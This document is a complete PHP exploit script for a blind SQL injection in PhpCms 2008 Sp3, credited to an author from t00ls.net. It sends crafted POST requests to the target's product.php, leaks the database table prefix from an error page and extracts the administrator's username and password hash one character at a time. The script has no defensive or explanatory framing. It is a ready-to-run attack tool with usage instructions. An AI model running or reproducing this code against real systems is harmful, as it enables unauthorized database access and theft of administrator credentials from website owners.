PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)

                                                <?php
ini_set("max_execution_time",0);
error_reporting(7);

function usage()
{
global $argv;
exit(
"\n--+++============================================================+++--".
"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".
"\n--+++============================================================+++--".
"\n\n[+] Author: My5t3ry".
"\n[+] Team: [url]http://www.t00ls.net[/url]".
"\n[+] Usage: php ".$argv[0]." <hostname> <path>".
"\n[+] Ex.: php ".$argv[0]." localhost /yp".
"\n\n");
}

function query($pos, $chr, $chs)
{
global $prefix;
switch ($chs){
case 0:
$query = "#";
break;
case 1:
$query = " ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";
break;
case 2:
$query = " ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";
break;
case 3:
$query = " length((select username from ".$prefix."member where groupid=1 limit 0,1))={$pos}#";
break;
}
$query = str_replace(" ", "/**/", $query);
$query = urlencode($query);
return $query;
}

function exploit($hostname, $path, $pos, $chr, $chs)
{
$chr = ord($chr);
$conn = fsockopen($hostname, 80);
//print_r($conn);
/*if (!$conn){
exit("\r\n[-] No response from $conn");
}*/

$postdata = "q=&action=searchlist&where=".query($pos, $chr, $chs);
$message = "POST ".$path."/product.php HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Accept-Encoding: gzip, deflate\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $hostname\r\n";
$message .= "Content-Length: ".strlen($postdata)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $postdata;
//echo $message;

fputs($conn, $message);
while (!feof($conn))
$reply .= fgets($conn, 1024);

fclose($conn);
return $reply;
}

function crkusername($hostname, $path, $chs)
{
global $length;
$key = "abcdefghijklmnopqrstuvwxyz0123456789";
$chr = 0;
$pos = 1;
echo "[+] username: ";
while ($pos <= $length)
{
$response = exploit($hostname, $path, $pos, $key[$chr], $chs);
preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)
{
echo $key[$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "\n";
}

function crkpassword($hostname, $path, $chs)
{
$key = "abcdef0123456789";
$chr = 0;
$pos = 1;
echo "[+] password: ";
while ($pos <= 32)
{
$response = exploit($hostname, $path, $pos, $key[$chr], $chs);
preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)
{
echo $key[$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "\n\n";
}

function lengthcolumns($hostname, $path, $chs)
{
echo "[+] username length: ";
$exit = 0;
$length = 0;
$pos = 1;
$chr = 0;
while ($exit==0)
{
$response = exploit($hostname, $path, $pos, $chr, $chs);
preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)
{
$exit = 1;
$length = $pos;
}
else
$pos++;
}
echo $length."\n";
return $length;
}

function getprefix($hostname, $path, $chs)
{
echo "[+] prefix: ";
$pos = 0;
$chr = 0;
$response = exploit($hostname, $path, $pos, $chr, $chs);
preg_match('/FROM `(.+)yp_product/ie',$response,$match);

if ($match[1])
return $match[1];
else
return false;
}


if ($argc != 3)
usage();
$prefix="";
$hostname = $argv[1];
$path = $argv[2];
$prefix = getprefix($hostname, $path, 0);
if ($prefix)
{
echo $prefix."\r\n";
$length = lengthcolumns($hostname, $path, 3);

crkusername($hostname, $path, 1);
crkpassword($hostname, $path, 2);
}
else
{
exit("\r\n[-] Exploit failed");
}

?>